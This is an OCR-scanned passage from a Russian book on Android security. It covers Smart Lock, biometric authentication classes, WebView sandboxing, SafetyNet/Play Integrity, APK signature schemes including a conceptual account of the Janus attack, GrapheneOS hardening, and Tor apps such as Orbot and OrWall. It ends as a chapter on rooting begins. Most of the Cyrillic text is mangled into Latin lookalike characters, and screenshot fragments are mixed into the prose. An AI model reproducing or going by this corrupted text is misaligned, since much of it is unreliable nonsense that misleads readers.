NN, HaTpeHUpoBaHHOMY Ha BbiSIBNEHWE OnpedeneHHbIX TUMOB 3N0BPEAHbIX NpUnoxe-
HuKA: SMS-cpoa, hULLKHT, NOBbILLEHWE NPUBUNErUN.

¢ Kpome aaHHbIX 0 camux npunoxeHusx, Google Takke cobupaer v arpermpyeTt AaHHble
o npunoxeHun U3 Google Play: cpegHss oueHKa NpUNoXeHun paspaboTunka, penTuHru,
KONMUYECTBO YCTaHOBOK M yaaneHun; ata uHhopMaums Takke ckapmnueaercs UN.

e Ha ocHoBe Bcex aTux AaHHbIX MW BbiHOCUT peleHne 0 ToM, MOXEeT N npunoxeHuwe
6bITb NOTEHUMANBHO 3nospegHbiM.

. Google MNOCTOAHHO COBEpLIEHCTBYEeT nn, CKkapMnueasa eMy AaHHble CBeXeBblIABNEHHbIX
3nospenos.

Smart Lock

CeroHsLUHUI MMOIb30BATENb MPUBBIK K IaTYHKAM OTIEYATKOB MaTbLEB H CKAHUPOBAHUIO
JMLa Ans pa3bJIOKHPOBKM cMapTdoHa, HO LUECTh JIET Ha3all 3aCTaBUTh MOJIb30BaTENs
3alUTUTh cMapThoH ¢ nomoiubio PIN-koxa unu naposs 6su10 crnoxxo. [ToatoMy mHxe-
Hepbl Google coznanu He camyro HaJeXHyIO (2 B HEKOTOPBIX CJIy4yasXx U COBCEM HEHa-
JEeXHYI0), HO IeHCTBEHHYIO CHCTEMY Mo Ha3BaHHWeM Smart Lock.

[NosieuBumiics B Android 5 Smart Lock (puc. 4.12) — 3TO MexaHH3M )i aBTOMaTHYe-
CKOro OTKJIFOYEHHS 3alUThl 3KpaHa OJOKUPOBKM IMOCTE MOMKIIOYEHHS K OJHOMY M3
Bluetooth-yctpotiicTe (yMHbIe 4acel, aBTOMaruutona, TV-box) Ha OCHOBE MeCTOMOJIOXKe-
HHS WIH N0 CHUMKY JMia. MakTHyecku 310 odHLManbHas peanusanus ¢GpyHKUHH, KOTO-
pble HeoUIHMaNbHO OBUIH NOCTYNHBI B CTOPOHHHX NMpHIOKEHHsX (Hanpumep, SWApp
Link ms pa36iokupoBku ¢ nmoMolpio yacoB Pebble) u npoiumBkax ot npousBoaurenei
(motoponogsckwii Trusted Bluetooth).

Tenepr ¢GyHKLUHMOHANBHOCTH 3THX MPHIOKEHHH AocTynHa B caMoM Android, a Bce, uTto
OCTaeTcs ClieNaTh MOJIb30BaTEN0, — YCTAaHOBUTh Ha 3KpaH O1okupoBku PIN-kox, kirou
WM Mapoiib, akTHBUpOBaTh Smart Lock B HacTpoiikax 6€30MacHOCTH U 1OOaBUTh J0OBe-
penHbie Bluetooth-ycTpoiicTBa, MecTa 1 nuua.
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€& Smart Lock

HaaexHble ycTponcTsa
| TrueSmart

BesonacHble mecTa
Her

Pacnos+HasaHue nuy
OTkNKIOYEHO

4 @) O

Puc. 4.12. Hacrpoikn Smart Lock

[To cnoBam Google, Smart Lock no3Bonun nogHATh ypoBEHb MCIOJb30BaHHA MapoJei
11 GIOKHPOBKH 3KpaHa CpelH MoJjib3oBaTesnieii B aBa pa3a. OqHaKko CTOMT MMETh B BHIY,
YTO M3 BCEX METONOB pa3bJIOKHMpOBKH, AoCTynHbIX B Smart Lock, 6onee-MeHee Hanex-
HBIM MOXXHO CYHMTaTh TOJIbKO pa36JIOKHpOBKY ¢ nomouiblo yctpoiictea Bluetooth. M ato
TOJIBKO B TOM CJIyHdae, eCJIi KOHeYHas Le/b — 3alUTHTh YKpaJeHHOe YCTPOHCTBO, a He
OTCTauBaTh CBOE MPABO Ha YaCTHYIO JKH3Hb Mepe] MOMHLEACKHM.

Hroro: ceronns Android ucrionb3yer TpH BHOa pa3bioKMpPOBKH 9KpaHa ¢ pa3HbIM YpOB-
HEM HaIeXKHOCTH H COOTBETCTBEHHO YPOBHEM JOCTYMa:

1. ITapones mnu PIN-kom — cuMTaercs HaubOosiee HaAeXHBIM U MOITOMY AAET MOJHBIA
KOHTPOJIb HaJl YCTPOHCTBOM 6€3 BCAKHX OrpaHHUYEHHH.

2. Orneyarok nanbLia WIM CHUMOK JIMLIA — MeHee Hale)XHbIA, CHCTEMa 3arpalliBaeT
naposb nocjie KaxIoi nepe3arpy3kH TenedoHa, a Taioke yepes Kaxasie 72 yaca.

3. Smart Lock — HauMeHee HaJeXHBIA METO/, MOITOMY Ha HETrO HaKaJbIBAIOTCA Te XKe
OrpaHH4eHHs, YTO U Ha OHOMETPHYECKHI METOo., IUTIOC OH He MO3BOJIAET MOTY4YHTh
JOCTYN K ayTeHTH(GHMKaUMOHHBIM KmoyaM Keymaster (Hampumep, TeM, 4YTO HCMOJIb-
3ylOTCA [UIA TUIaTexed), a MPHUHYIUTENbHbIA 3anpoc MapoJis MPOMCXOAMT He 4Yepes
72 yaca, a yxe yepes 4.

B Android 11 mosiBUNIOCE MOHATHE HAaOEKHOCTH crocoba GHoMeTpHyeckoil ayTeHTHH-
kauuu. Tenepb cHCTEMa Yy4YHTBIBAaET, HACKOJIBKO HaJ€XHBIH JaTYHK OTMEYaTKOB MaJibLieB
WM CKaHep JIMLAa YCTaHOBJIEH Ha YCTPOWCTBE, M MOXET H3MEHHTb CBOE€ MOBEIECHHE.
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Hanpumep, HeHamexxHblH croco6 ayTeHTHQHMKaUMH Henb3s OymeT HCHoNb30BaTh A
ayTeHTU(HUKALUKM B CTOPOHHMX TNPWIOKEHHWAX W JUid pa3bIOKHPOBKM [JOCTymna
k KeyStore. Taioke mns Takoro crocoba ayTeHTHHKaALMH TaiiM-ayT nepes clie yIoLWUM
3anpocoM naposis 6yaer CHWkeH ¢ 72 1o 24 yacos.

Bcero ecTh TpH KJ1acca HafleX)KHOCTH AaT4HKOB (croco6oB) OGHOMETpUUECKOH ayTeHTUH-
KalMu:

O Knacc 3 — HanexxHsIH, 3anpoc naposis yepe3 72 yaca, goctyn k KeyStore u Bo3mMox-
HOCTb HCIOJIb30BaHUA B CTOPOHHHX MPHJIOKEHHSAX.

O Knacc 2 — cnabsiit, 3anpoc napons yepe3 24 yaca, noctyn k KeyStore, HeBo3MoxHO
UCIOJIB30BaTh B CTOPOHHHUX MPHIIOKEHUAX.

O Knacc 1 — ynoOHeii, 3anpoc naposs yepe3 24 uyaca, Het nocryna k KeyStore, HeBo3-
MOJKHO HCIOJIb30BaTh B CTOPOHHUX MPHIOKEHHSAX.

Hx HagexHOCTb onpeaeseTcs Ha OCHOBE MPOLIEHTA JIOXKHBIX cpabaThiBaHHUi, Oe30macHo-
cTH crocoba 06paboTku 6HOMETpHUECKHX AaHHBIX M HEKOTOPBIX APYTHX MapaMeTpoOB.

WebView

C nepBeix Bepcuit B Android Biumodan B cebs komnoHeHT WebView Ha 6aze WebKit,
MO3BOJIAIOLIMH CTOPOHHHUM NpHIOXeHHaM ucnons3oBate HTML/JS-gBmkok mns oro-
6paxkenns koHTeHTa. Ha HeM e 6a3upoBanock 60JBIIMHCTBO CTOPOHHUX Opay3epos.

<& 0 npunoxeuun

Android System WebView
com.android webview
Bepcun 37 {eng.andersonaragao-arm)

‘ OCTAHOBUTH OTKIIOYMTL

‘ ¥ Buniouuts ysenomnetus

NAMATH
Bcero 1,66 Mb
MpunoxeHue 1,66 Mb
HauHbie 0,006
KEW
Kew 0,00 6
3ANYCK NO YMOAYAHUIO

Puc. 4.13. HaunHas c Android 5.0, WebView — 3T0 He3aBUCUMbI nakeT
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B Android 4 WebView 6bL1 cepbe3HO MOIEPHH3MPOBAH M 3aMEHEH Ha ABW)KOK M3 MpPOeK-
ta Chromium (Bepcus 33 B Android 4.4.3, puc.4.13). HaunHas c mnaTod BepcuH,
WebView He npocto 6a3upyercsa Ha Chromium, Ho U yMeeT oOHOBATECA Yepe3 Google
Play (B aBTOMaTH4eckOM peXHMe, HE3aMETHO [UIA MONb30BaTeNd). ITO 3HAYMT, UTO
Google MoxeT 3akpbiBaTh yS3BHMOCTH B IBHXXKE TaK )€ ObICTPO, Kak YA3BHMOCTH
B Google Chrome mis Android. Bce, uro notpebyerca oT monb3oBarens, — 3TO MOA-
kmoyeHHbIH kK UHTepHeTy cMapTdoH ¢ Android 5 wnm Beiwe.

HaunnHas ¢ Android 8, pennepep-npouecc WebView n3onupoBaH ¢ noMousio Seccomp.
OH pabGoTaeT B OYEHb OTrpPaHHYEHHOM MECOYHHLIE, KOTOpas He AOMyckaeT obpalieHus
K MOCTOAHHOM NMaMATH M ceTeBbIM ¢yHkumMaM. Kpome Toro, WebView Teneps Taioke Mo-
XET HCIOoNB30BaTh TexHonoruio Safe browsing, 3HakOMylo BCEM MOJIB30BATENAM
Chrome. Safe browsing npenynpexaer o noteHuMansHO Hebe3omacHeIX caiTax M Tpe-
OyeT ABHO MOATBEPOUTH NEPEXO Ha TAKOH CaMT.

SafetyNet (Play Integrity API)

Hauunas ¢ Android 7, B Google Play Services nossuiock API nox HazBanneM SafetyNet
Attestation, KOTOpPBIH BBIMOJHAET OAHY MPOCTYIO 3a7aqy: MPOBEPKY Ha TO, ABJIAETCA JIH
YCTPOHCTBO OPMIMHAIbHBIM (CBEpKa CEpPHIHBIX HOMEPOB), He Oblna M €ero MpoLIXWBKa
HW3MEHEHa H €CTh JIM Y MoJib30BaTeNs npasa root (puc. 4.14). Ucnons3ys stot AP, pa3pa-

o &

SafetyNet Test

SafetyNet Status
Your SM-AS05FN

|
|
Passed

SafetyNet compatibility test

Details

Safety Net Request  success
Response signature success
validation

Basic Integrity success
CTS profile match success

Puc. 4.14. Npobepka ycTporcTBa ¢ nomowbio npunoxeHun SafetyNet Test
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6OTYUMKHM MOTYT MHCaTh MPUIOXKEHHUS, KOTOpbIe, B MPUHLMIE, He 3apabOTalOT HA MOJH-
(GULHMPOBaHHBIX MPOLUMBKAX WM, K MPUMeEpY, MPOIUMBKAX, JaBHO HE MOJy4YaBLIMX MC-
npaeneHus 6eszonacHocTH (patch level).

Honroe Bpems SafetyNet onpenensyia HaneKHOCTb YCTPOHCTBA € MOMOLIbIO 3BPHCTHYE-
CKHX METOJOB, KOTOpbIE BCEraa MoxHoO Obu1o 06MaHyTh: Magisk ycnelHo ckpbiBan Ha-
auuMe root U GakT pa3bioKHMpOBKH 3arpy3urka ot SafetyNet Ha MPOTSKEHUH HECKOJIb-
KHX JIET.

C HenaBHero BpemeHu SafetyNet nepecrtain nosaratbcst Ha MPOCTYHO NMPOBEPKY COCTOSHUS
3arpy3qMka (KoTopyo ymeeT ooMaHbiBaTh Magisk), a BMecTo 3TOro ucrnonb3yert npuBat-
HbIA KoY WH(poBaHUS U3 3alUMLUEHHOro XxpaHunuia KeyStore, ytoObl MoaTBEpAUTH
JOCTOBEPHOCTb NMepeJaHHbIX JAaHHbIX. OGONTH 3Ty 3alUUTY MOXHO, JIMIIb MOJY4YHB AOC-
TYN K NPUBATHOMY KJIIOHY, KOTOPbIA XpaHUTCS B BbIAEJIEHHOM KpUMTOrpagu4eckoM co-
npoueccope (TEE), a cienate 310 NpakTH4ECKH HEBO3MOXKHO.

Bce 310 03HauaeT, 4TO coBceM ckopo Bce cepTUdHLMpoBaHHblE Google-ycTpoiicTBa Ha
6a3e Android 8 u BbllIe MpocTO nepecTaHyT NpoxoauTh npoBepky SafetyNet, u Magisk
Oyner Oecrone3eH NMpU UCMOJIb30BAaHUM OAHKOBCKHMX KJIMEHTOB W APYTHX MPHIIOKEHHH,
ucnone3yrowux SafetyNet.

B 2022 romy SafetyNet Obin 0ObsSiBIEH ycTapeBUIMM Kak OTAENbHBIH MPOOYKT, a €ro
¢dbyHKkUHOHaNbHOCTD Oblna nepeHeceHa B Play Integrity API.

Kill Switch

B aBrycre 2013 roga Google 3anyctuna Be6-cepeuc Android Device Manager (puc. 4.15),
C MOMOLIBIO KOTOPOTO MOJIb30BATENH MOTYYHIH BO3MOXHOCTb GIOKHpPOBaTh cMapThOH
U1K cOpachiBaTh [0 3aBOACKMX HACTPOEK ynajeHHO. B kauecTBe KIMEHTCKOH HacTH Ha
cMapTdoHe cepBUC Hcronb30Ban oOHoBiseMbld yepe3 Google Play komnoneHT Google
Play Services, moatoMy ¢yHKUMs cTana AOCTYMHAa I/ JIOObIX YCTPOMCTB, HauMHas
¢ Android 2.3.

Hauunas c¢ Android 5, cepBuc Ttakke BiioyaeT B cebs ¢yHkuuio Factory Reset
Protection. Tlocne ee akTWBalMM BO3MOXHOCTb cOpoca 10 3aBOOCKMX HacTpoek OyaeT
3a610kMpOBaHa maposeM, 4To, No MHeHHto Google, GyneT npensTcTBOBAaTH MOJHOLIEH-
HOMY MCIIOJIb30BaHHIO cMapToHa MM ero npojaxe. Benp ogHaxabl NMpUBA3aHHbIH
Kk akkayHTY ‘Google cMapThoH yxke He MOXXeT ObITh OTBsI3aH Ge3 cOpoca HacTpoek.

LUugposeie noanucu APK

W3HauanbHO naket ¢ npuioxxeHueM 1 Android (APK) npencrasnsin co6o#t noytu Tou-
Hylo konuto nakera JAR, koTopslif, B cBOlO ouepenb, Obin npocto apxuBom ZIP c He-
CKOJIbKUMH JOMOJIHUTENbHBIMU (aiiaMHi B KaTajore META-INF. OTH dainbl coaepxanu
CMHCOK Bcex ¢aiioB nakera, UX KpunTorpaduueckue Xelu, a Tak:ke OTKPbIThIH KPUMTO-
rpadu4ecKHii K04, ¢ MOMOLLBIO KOTOPOro ObUIH MOAMUCAHbI CIIUCKH XelleH.
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1350

¢ be3onacHoCTb

Yaanewnoe ynpasnexne Android

YAaaneHHbIW NOUCK YCTPOWCTBA

Ha se6-cTpaHulie GyHKUNM MOXHO .
MOCMOTPEeTHb, rae HaxoauTCa yCTDOf‘CTBO

YpaneHHaa 610okupoBka u c6poc
HacTpoek

Ecnu 8bi notepaete YCTPOMCTRO, TO Ha Be6- .
cTpanuye QyHKUrM CMOXeTe 3a6nokupoBaTh
ero Unu yaaneHHo cTepeTh 8Ce AaHHbie

Mposepxa npunoXeHni

MNpoBepaTb Hanuuue npobnem c
6e30NacHOCTbI0

PerynapHo npoBepaTb paboTy yCTPONCTBA U ‘
npeaynpexnaTth O NPUNOKEHUAX, KOTOPhie

MOTYT HaHEeCTH Bpea, AW OTKNDHaTb UX

Bopb6a ¢ BpeAOHOCHbIMM NporpaMMamu

Puc. 4.15. Hacrpoikn Android Device Manager

Bce 310 nmo3Bonsio y6eAUThCS B LIEJIOCTHOCTH COEPXKaLMXCA B MakeTe (aiisioB, a Takxke
MOATBEPAMTb, YTO MAKET He ObIT U3MEHEH MOCje CO3JaHus aBTOPoM. JIpyriMH clioBamu,
ycTaHaB/iuBasi 0OHOBJIeHHe NpuioxeHus s Android, MOXHO OBITH yBEpEHHBIM, HTO
OHO CO3[]aHO TEM € YEJIOBEKOM, YTO M MpeIblayllas BEPCHA.

Ho ects npo6nema. ATtaka Janus nokasana, 4To CyLIECTBYET BO3MOXKHOCTh BHEAPUTh KOJ
B APK, He usmenss ero uudposyro noanuce. [ns storo moxno gonucate DEX-daiin
B Hayao cekuuid ZIP-¢aiina, u Android He yurer ux npu Bepudukauun ¢aiina, Ho npu
3TOM ¢aiin MoXkHO OyIeT 3amyCTHTh KaK MCTIOHAEMBIH: 3TO OyJeT OIHOBPEMEHHO U Ma-
KET C MPHIIOXKEHHEM, U UCTIOJTHAEMBIH aii.

Jns pewenns 3To U cxoxux npobnem Google npemioxuna ¢opMar uudpoBoii noanu-
cu APK signature scheme v2. Ero cyts B ToM, 4To6b1 f06aBuTh Kk APK-(aiiny nononxu-
TenbHBIA 650K, KoTOpBIN Oyner comepxath uupoByro noanuck Bcero APK uenukom,
a He OTHEJNIBHBIX €ro YacTei.

IMonnepxka scheme v2 mosiBunace B Android 7, a yxxe B Android 9 nosiBunace nognepx-
ka APK signature scheme v3. HoBelii popmar uudpoBoii moanucH moxox Ha MpeabiTy-
1M, HO obJlagaeT OqHOM OTJIMYMTENBHOM YepToii: OH MOLNEPXKMUBAET POTALMIO KPHIITO-
rpapuyeckux Kmoyei. 3to no3sonser pa3paboTunkam 6e3 npobiemM MeHATh LMQPOBYIO
MOJMKCH [JI CBOMX NMPUIIOXKEHHH, HE 3aCTaBJIss M0JIb30BaTeNel yIaIATh CTapylO BEPCHIO
MPHIIOXKEHHUA Nepel] yCTaHOBKO# HOBOIA.
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Uror

Veunusa Google B KOHEUHOM HTOre JaiM pe3ynbTaT. bonbliylo YacTe ysS3BHMOCTEH
B cMapT¢oHax Teneps HAXoAAT He B caMoM Android, a B gpaiiBepax M MpOIIMBKaX KOH-
KpeTHBIX ycTpoicTB. [Io obimeMy komuyecTBy ys3BuMocTei Android Temeppb rutetercs
no3aau i0S, a ueHsl 3a caMu ya3BUMOCTH B Android npeBbICHIH LIEHBI 32 YI3BUMOCTH
B iOS.

CoBpeMeHHBIii cMapTdoH Ha Android, ecnu, KOHEYHO, 3TO He KHUTalCKHiM LIMpNOTpeod,
HETMpPUCTYIEH MPaKTHYECKH CO BceX CTOpOoH. C Hero He MOJyYHTCHA CHATH JAMIT ITAMATH,
€ro HeNb3s «OKUPIIHYMTHY, BHINOIHHUTh JayHrpei, B3JIoMaTh C MOMOIIBIO 06x0aa 3Kpa-
Ha 6;10kHpoBKH. OcnabUTh BCIO 3Ty CHCTEMY 3allMTHI CIIOCOOEH JIMIUB CaM MPOM3BOIH-
TeJb yCTPOICTBa.



FMMABA B

AnbTepHaTUBHLIE NPOLWMUBKMU,
PYTUHI U KacToMusauua

Mup 3HaeT MHOXXECTBO MOMBITOK CO3/1aTh 3allHLIEHHBIH cMapTdoH. 310 u Blackphone
¢ ¢yHkuMe#d wHPpOBaHUA BCEX KOMMYHHMKaLMWi, U coMHHTenbHblii Blackberry Priv,
u naxe GATCA: Elite, co3gatenu kotoporo BooOie He CTaJld HHYEro NMpHIYMBIBATh,
M BBIJAJIM CTaHJapTHbIE BO3MOXKHOCTH Android 3a skckito3uBHble. COOCTBEHHBIH 3allH-
IEHHBIH TenedoH ecThb y pazpaboTurkoB 3HaMeHHTOro Tor. TouHee, He coBceM TenedoH,
a MpoLUMBKa AJIs1 HEKOTOPBIX Mozenei TesedOoHOB.

IIpowneka ocHoBaHa Ha Android, HO He Ha ToM Android, KOTOpBIH MBI IPUBLIKIIH BUIETh
B HaLIUX cMapTdoHax, a Ha ero Moaudukauuu noa HazsaHueM GrapheneOS.

GrapheneOS

I'naBuas ocobenHocts GrapheneOS (https://grapheneos.org/) — cyluecTBeHHO pacLiH-
peHHbIE cpeAcTBa npeaoTBpalleHus B3noMa. GrapheneOS ucronbs3yeT MexaHH3M J0Be-
pEHHO#1 3arpy3kH, BriepBble nosBUBLUMKHCA B Android 4.4, H, kpoMe TOro, He nosnaraercs
Ha 3ab;1aroBpeMEHHO ONTHMH3UPOBAaHHBIN KOJA NMPHJIOXKEHHH M3 Kartajora /data/dalvik-
cache.

ITocnennuii HyxeH Ui GBICTPOro 3amycka MpIOKEHHH U reHepHpyeTcs BO BpeMs nep-
BO#1 3arpy3kH cMaptdona (coobumenue «ONTUMHU3aLHUS NPUIOKEHHI...»). OJHAKO OH Xe
MOXeT OBITh HCMOJIB30BATh [JIs BHEAPEHHS B CHCTEMY 3JIOBPEJHOrO KOJAA: HET CMBICIA
MOAMEHATh CaMO MPHJIOKEHHE B pasjenie /system — MeXaHH3M JOBEPEHHOH 3arpy3kd
OTKaXeTcs 3arpyxartb cMapTdoH mnociie MOAHGHKALMH CHCTEMHOro pasjena, a BOT
ONTHUMH3HPOBaHHKIN KO/ B /data/dalvik/cache HH Y KOTO MOAO3PEHHI HE BBI3OBET.

Anpo GrapheneOS cobpano ¢ naruem PaX, BkmodarouuM B cebs HECKOJIBKO MEXaHH3-
MOB MpEJOTBPAILEHHS aTaK:

O PAX RANDMMAP — 6onee npoaBuHyTas, B CPaBHEHHH C MPHUMEHsSEMON B CTaH-
naptHoM saape Android, peanu3auus MexaHHM3Ma paHIOMM3aLMH aJpPECHOro Mpo-
ctpaHcTBa (ASLR), xoTopas 3aTpyQHS€T aTakd, HarpaBleHHblE Ha MeEpernolHEHHE
Oydepa u xuna;
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O PAX PAGEEXEC — mMexaHH3M 3allUThl CTPAHHUL JAHHBIX OT UCMOJHEHHS, KOTOPbIH
yOHuBaeT npunoxeHHe, Kak TOJbKO OHO MOMBITAETCSA UCMOMHHUTH KOA B 00JacTH JaH-
HbIX (B Aape Android ecTh Tako#i MeXaHH3M, HO OH AEHCTBYeT 6osiee MATKO);

O PAX MPROTECT — mnpensarcTtByeT MoOU¢HKALMH KOAA MPHIIOXKEHHS BO BpeMs HC-
TMIOJTHEHHS;

0O PAX MEMORY_SANITIZE — o6HynseT cTpaHHIly MaMsATH NpH ee 0CBOOOXKIEHHH
(TONBKO NS MPOCTPAHCTBA Apa);

O PAX _REFCOUNT — cucreMa aBTOMaTHYECKOrO OCBOOOXKIEHHS HEHCIOJIb3YyEeMbIX
00BEKTOB B MaMATH, MO3BOJIAET NPEJOTBPAaTHTh aTakH THUNa use-after-free (Tonbko mis
NPOCTPAHCTBA A1pa);

O PAX USERCOPY — 3aumra ot nepenonnenus 6ydepa myrem cBepku pazmepa 00b-
€KTa (TOJIBKO [UIsl IPOCTPAHCTBA APa);

O PAX KERNEXEC — 3ammra cTpaHul MaMATH OT HCIMOJIHEHHUS (TOJNBKO Ui Mpo-
CTpaHCTBa A7pa).

GrapheneOS Taroke BKIIOYaeT B ceOs 3aLIMIIEHHYIO BEPCHIO CTAaHOApTHOH OHOIHOTEKH
s3pika C (bionic) W annokaropa maMsATH, a TaKMe MEXaHHM3MBbI, kak Gopk BHpTyanbHOH
MallIHHbI B PEXKHME COpY-On-write npH 3amycke npuioxeHui u JIT-koMnunsTop, oTkio-
yeHbl. CucTeMa ucnone3yer Oosee cTporue mpaBuia Ui oOCY)KIaBIINXCS paHee Mexa-
Hu3MoB SELinux u seccomp-bpf.

MHorue Mexanu3msl 6e3onacHocti Android BepBeie nosBuiMcs UMeHHO B GrapheneOS.

K npumepy, 3amper Ha BBINOJHEHHE KOOAa M3 BPEMEHHBIX KaTaJlOroB (MOIKIIFOYEHHBIX

¢ noMousio ncesno®@C tmpfs), a Takke 3anpeT Ha YTEHHE BaXKHOH cHCTeMHOH HHGOp-

MalMH U HHPOPMALIHH O APYTHX Mpoleccax yepe3 $aiioBylo CHCTEMY procfs. 3anpeT Ha

noctyn k 6ydepy o6MeHa B pone u pannomuzauus MAC-azapeca Takxke BiepBbI€ MOSBH- .
nuce B GrapheneOS.

GrapheneOS Bkiouyaer B cebs MHOXECTBO ApyrHx orpaHudeHHi. [To ymonyaHmio craH-
JIapTHOE MPHIOKEHHE KaMepbl HE yKa3blBaeT B METaJaHHBIX CHHMKa reorpapHyeckue
KOOpIHHATBl MECTa ChEMKH, a M3 CHUMKOB 3KpaHa Bbipe3aeTcsi HHGOpMalHsi O BEPCHH
Android. DxpaH He NMOKa3bIBaET YBEAOMIIEHHS, KOTOPbIE MOTYT PacKpbITh KOH)UIEHLH-
anbHy0 HHpopmauuio (Android u iOS pa3pewaroT nmoka3s TakHX yBEJOMJIEHHH C BO3-
MO>XHOCTBIO HX OTKJTIOYEHHH).

Chromium (a ToyHee ero Moaudukanus nox Ha3BaHHeM Vanadium) BkjrO4aeT B cebs
pAO OorpaHMYEeHHH U HACTPOEK, HAaNpaBJIEHHBIX Ha 3aLIMTY OT yTe4YeK AaHHBIX: OTKIIOYe-
Hbl KOPPEKLHs OMHOOK B aJpecHOM CTpokKe, Mpea3arpy3ka CTPaHHL, KOHTEKCTHBIH MO-
HCK, METPHKH U ayJMT THIEPCChUIOK. B kayecTBe MOMCKOBO# CHCTEMBI HUCIONB3YeTCs HE
cobuparoumii HHpopMaumio o noss3oBatensx nopran DuckDuckGo. EcTe BO3MOXHOCTB
MOJIHOCTBIO OTKJIIOYHMTH IOCTYIN MPUIOKEHUH K VMIHTEpHETY W pa3fHyYHbIM CEHCopam,
TaKHUM KaK JaTYHK MOJIOKEHHUS WIIH KOMIIac.

HutepecHo Takxe, yto GrapheneOS no3Bonser ycraHoBute Google Play kak o6piuHOe
TNPUIIOXKEHHE, KOTOpoe OyIeT HMETh Te Xe NMPUBHIETHH B CHCTEME, UYTO U Moboe apyroe
YCTaHOBJIEHHOE MOJIb30BaTENIEM MPUIIOKEHHE. JTO MO3BOJAET CYIIECTBEHHO CHH3MThH
PHCK yTeueK JAaHHBIX HJIH BO3MOXXHOCTh YAAJIEHHOrO YNpaBJI€HUs YCTPOHCTBOM CO CTO-
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POHBI Google. bonee TOro, NpoLIHBKa HCMOJIb3YET coOCTBEHHBIE CEPBEPLI V1A TaKHX 3a-
AaY, KaK npoBE€pKa NMOAKIIKOYEHHS K ”HTepHeTy H NMOJIYYEHHE TEKYLLEro BpEMEHH.

H 310 naneko He Bce, YeEM MOXKET NOXBACTaThCA NpoLIHBKA. C MOJHBIM CIIHCKOM H3MEHe-
HUH MOXHO O3HaKOMHTbcS Ha ee oduuuanbHoH cTpaHHue (https://grapheneos.org/
features). CTouT ogHaKo HMETh B BHIY, YTO HHYero He ObiBaeT OecnnarHbiM. [TpakTHye-
ckH kaxaoe uameHeHHe B GrpheneOS npHBOAMT K TeM WM HHBIM mocieacTBUsAM. Ha-
npuMep, ocBOOOXKIAEHHE OT MEXaHH3Ma COpy-on-write NpH ¢opke BUPTYalbHON MallHHBbI
NMPHBOIWT K CYLIECTBEHHOMY pOCTY MNOTpeOsieHHS MaMATH, MEXaHW3Mbl OrpaHHYEHHS
NPHIOXKEHHH NPUBOAAT K cO0AM H HECOBMECTHMOCTAM, a paboTalolHi B NMECOYHHLE
Google Play nump yactuuHo ¢yHkuuoHaneH. GrapheneOS — 3To npoluWBKa A1s HC-
THHHBIX NMApaHOHUKOB W Te€X, KOMY MPHXOJUTCA 3a00THTbCA O cBOeH Oe30macHOCTH Mo
aonry cayObl. JIns o6bI4HBIX MONb30BaTENEH OHA HE MOIXOMIHT.

Tor

Kpome GrapheneOS cTOMT Takke OTMETHTb HECKOJIBKO IPYrHX NMPOEKTOB, HaMpaBieH-
HbIX Ha obecrneveHHe 6€30MacHOCTH W KOH(GHIEHLHATBHOCTH Mob3oBaTeneid. Hekoro-
pble M3 HUX BKJIOUYeHbI B koMmiiekT GrapheneOS no ymonyaHmio.

JBa rnaBHeix npoekta 3mece — 310 Orbot (https://guardianproject.info/apps/
orbot/) u OrWall (https://orwall.org/). Ilepsriii — c6opka Tor ans Android (puc. 5.1),
cnocobHas pabotare MO0 kak JokanbHblii SOCKS-npokcH, nepeHanpaBisiolWi Tpa-
¢uk B Tor, 1Mo B pexxume root, koraa Bech Tpaduk 3aBopaurBaetcs B Tor 6paHamaya-
poM iptables, uto no3BonseT U3bexars MOOBIX yTeuek.

OrWall (puc. 5.2) — cBoero poaa obeptka 1y 6paHaMaya3pa, KOTopas MO3BOJISET 3aBO-
pauuBath Tpaduk B OrBot BEIGOPOYHO, 4S8 KaXOOro OTAENTbHO B3STOTO MPHJIOXKEHHS.
C ero noMouIbl0 MOXHO TOHKO KOHTPOJHpPOBAaTh, KTO OyaeT XoauTh B ceTb uepe3 Tor,
KTO HanpsMylo, a komy aoctyn B MHTepHeT Gyner 3anpelleH BoBce.

OrWall nonHocTeio 60kHpyeT JtoOble HHTEPHET-COEAHHEHHS OO TeX MNop, MokKa npo-
IUMBKA He OyIeT MOJHOCTBIO 3arpykeHa. 3To No3BojseT Hibexars MoObIX yTeuek JaH-
HBIX B TOM CJIyyae, €CJIH MoJib30BaTeNb HaMEpPEH BbIXOANTh B HTEpHET HCKITIOUHTENBHO
yepe3 Tor, WIH MOMHOCTBIO 3a0I0KHpOBaTh JOCTYN B CeTh HE BBI3bIBAIOLIEMY JOBEPHS
codry.

MyAppList  (https://f-droid.org/repository/browse/?fdfilter=myapplist&fdid=com.
projectsexception.myapplist.open) — eie onHO HHTepecHoe mpuioxeHHe. M3Havanb-
HO CO3JaHO Kak YINOOHBIH croco® COXpPaHHTb CMHCOK YCTAHOBJIEHHBIX Yepe3 MarasHH
F-Droid npunoxxenu#, Ho pa3paboruuku Tor 3anedcTBOBaNH ee 11 ObICTPOH YCTAHOBKH
PEKOMEHIYEeMBbIX MPHIOKEHHH: OHH 3apaHee NMOATOTOBHIIH CIMHCOK co¢Ta, KOTOpBIH MO-
XET MPHUrOUTHCA CPeIHECTaTHCTHYECKOMY MOJIb30BATENIO, H 3arpy3wnu ero B MyAppList.

B criucke ecTh:
O MeHemxep daiinos Amaze;

O XMPP-kauentsl Conversations H Xabber;
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kHurountaika Cool Reader;
VolP-knunentsl CSipSimple u Linphone;
6payzep Firefox;

noytoBklit kiHeHT K-9 Mail;
Twitter-knuedt Twidere;

oHnaiiH-kapTel OsmAnd (OpenStreetMap);

[0 [ i i R I |

MeauanpourpeiBarens VLC.

2} T3 & w47 %D 1328

& © AdAway (Tor)
& B AnTrack (Tor)
| @@ chrome (Tor)
& ¥ Dropbox (Tor)
| ¥ @ Dropsync (Tor)
| ¥ O DuckpuckGo (Tor)
# ® F-Droid (Tor)
[_] B AZ Screen Recorder

] £ AgnesService .
L] @ Android Debug Bridge (ADB)
CF.lumen
CaptivePortalLogin
ConfigUpdater

DLNA Service

|

¢ ]

$ CrashHandler
o

3 Domain

APPS BRIDGES

Puc. 5.1. OrBot Puc. 5.2. OrWall: ebiGop
npokcupyembix Yepe3 Tor npunoxeHui

PyTuHr

B mupe Android npasa root 1 nepenpoiunBka cMaptdoHa Beeraa ObUTH MOYTH TakoH xke
00bIIeHHOH BeLLbIO, Kak yCTAHOBKA B3JIOMaHHBIX HIP W3 BapEe3HHKOB H 3aMyCK Ha CMapT-
¢oHe TOppeHT-KJIHeHTa. Root oTkpbiBaeT Ge3rpaHHYHbIE BO3MOXXHOCTH 10 H3MEHEHHIO
